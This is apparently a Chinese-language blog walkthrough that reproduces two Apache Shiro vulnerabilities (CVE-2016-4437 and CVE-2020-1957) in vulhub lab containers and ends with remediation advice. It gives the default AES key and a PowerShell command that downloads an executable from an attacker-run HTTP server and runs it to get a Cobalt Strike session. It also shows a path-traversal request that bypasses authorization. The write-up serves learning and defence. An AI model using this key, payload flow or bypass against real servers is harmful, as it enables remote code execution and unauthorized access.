apache shiro漏洞复现

15 篇文章 1 订阅
4 篇文章 0 订阅

前言:

参考 https://cloud.tencent.com/developer/article/1841416?from=article.detail.1841461

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

Shiro漏洞原理

在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie
其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

检索RememberMe Cookie的值

进行Base64解码

进行AES解码

进行反序列化操作

在第4步中的调用反序列化时未进行任何过滤,进而可以导致触发远程代码执行漏洞。

由于使用了AES加密,成功利用该漏洞需要获取AES密钥
Shiro1.2.4 版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥 每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。

Shiro漏洞指纹:响应包中存在字段set-Cookie: rememberMe=deleteMe
在这里插入图片描述

Apache Shiro反序列化漏洞(CVE-2016-4437)

docker-compose up -d 启动一个使用了Apache Shiro 1.2.4的Web服务:

服务启动后,访问 http://192.168.33.130:8080 可使用admin:vulhub进行登录。
在这里插入图片描述
使用工具进行AES密钥猜解
工具 https://github.com/j1anFen/shiro_attack/releases
( 我这里运行的话需要java8环境

  1. 密钥猜解
  2. 命令 执行在这里插入图片描述

自动化工具及上线CS

反序列化远程命令执行利用脚本shiro-1.2.4-rce,https://github.com/zhzyker/shiro-1.2.4-rce

在这里插入图片描述

该工具具有4个特性:

Key可修改添加
具有延时功能
执行的命令使用了Base64编码
区分Linux和Windows

在这里插入图片描述
选择操作系统
在这里插入图片描述看样子 命令执行是不成功的,我在tmp下创建文件,但没有成功

上线CS:

由于上述自动化工具没有回显,这里尝试上线到CS后进一步渗透
但我的靶场在linux呀
cs服务端没有安装linux上线的插件
那就学习下原文的思路吧

  1. 生成木马文件
  2. 靶机win7没安装python,就将该木马文件放到kali上,再开启简易http用于传输
    python下SimpleHTTPServer 用法: https://blog.csdn.net/youshijifen/article/details/88953199
    192.168.33.129 Kali上开启python简易HTTP服务:python -m SimpleHTTPServer 8008
  3. 使用shiro-1.2.4-rce.py
    执行命令
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.33.129:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe

其他方式
https://vulhub.org/#/environments/shiro/CVE-2016-4437/

在这里插入图片描述
要搭建环境算了。。。。

Apache Shiro权限绕过漏洞(CVE-2020-1957)

影响版本:Apache Shiro < 1.5.2

Spring Boot 中使用 Apache Shiro 进行身份验证、权限控制时,可以构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。

anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。authc为登陆拦截器,需要登陆才可以访问。

用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。即访问/index时无需登陆,而访问/user/test时需要登陆认证。

#Shiro.ini/index = anon/user/** = authc------Ant格式:?:匹配一个字符*:匹配零个或多个字符串**:匹配路径中的零个或多个路径
这里的/**可以匹配路径,即可以匹配到/user/test/,
而/*只能匹配到单个或多个字符串,即/user/test。
那么假设配置内改为:/user/* = authc,则可以匹配到/user/test但无法匹配到/user/test/(多了个斜杆),
那么就会放行/user/test/。然后进入到Spring(Servlet)拦截器中,
对于Spring,上述两个路径都是一致的,于是就造成了权限绕过。

复现

docker-compose up -d 环境启动后,访问http://your-ip:8080即可查看首页。

这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:
修改请求地址
在这里插入图片描述

参考文章

漏洞简单分析:

请求/xxxxx/…;/admin,在shiro中经过处理变为/xxxxx/…,与过滤器/xxxxx/规则进行匹配通过校验,成功转向后方的Spring Boot。

恶意请求/xxxxx/…;/admin通过Shiro的校验后,传递到Spring Boot中进行解析,根据Controller设置的路由选择对应Servlet,最终形成了对/admin这个Servlet的未授权访问,再返回给攻击者。

URL请求过程

1、客户端请求URL: /xxx/…;/admin/
2、Shrio 内部处理得到校验URL为 /xxxx/…,校验通过
3、SpringBoot 处理 /xxx/…;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

修复建议

1.升级1.5.2版本及以上

2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Shiro是一个开源的安全框架,用于处理身份验证、授权、密码和会话管理。其中,CVE-2016-4437是Apache Shiro的一个反序列化漏洞,影响版本为Apache Shiro<=1.2.4。该漏洞的利用方式是通过发送带有"rememberMe"的Cookie来触发漏洞。攻击者可以利用该漏洞执行任意代码,可能导致服务器被入侵。\[1\] 漏洞的原理是Apache Shiro框架提供了"记住我"的功能,用户登录成功后会生成一个经过加密和编码的Cookie,其中的key为"rememberMe",值是经过反序列化、AES加密和Base64编码处理的。攻击者可以通过构造特定的Cookie来触发反序列化漏洞,从而执行恶意代码。\[2\] 为了检测Apache Shiro漏洞,可以使用一些工具或脚本。例如,可以使用shiro_rce.py脚本来执行反弹shell语句,该脚本需要指定目标URL和要执行的命令。\[3\]通过执行这个脚本,可以检测目标服务器是否存在Apache Shiro漏洞。 需要注意的是,漏洞检测只是为了帮助管理员发现潜在的安全风险,建议在合法授权的情况下使用这些工具,并及时修复漏洞以保护系统的安全。 #### 引用[.reference_title] - *1* [Apache shiro 漏洞总结](https://blog.csdn.net/smli_ng/article/details/126096023)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )](https://blog.csdn.net/weixin_60329395/article/details/127399081)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值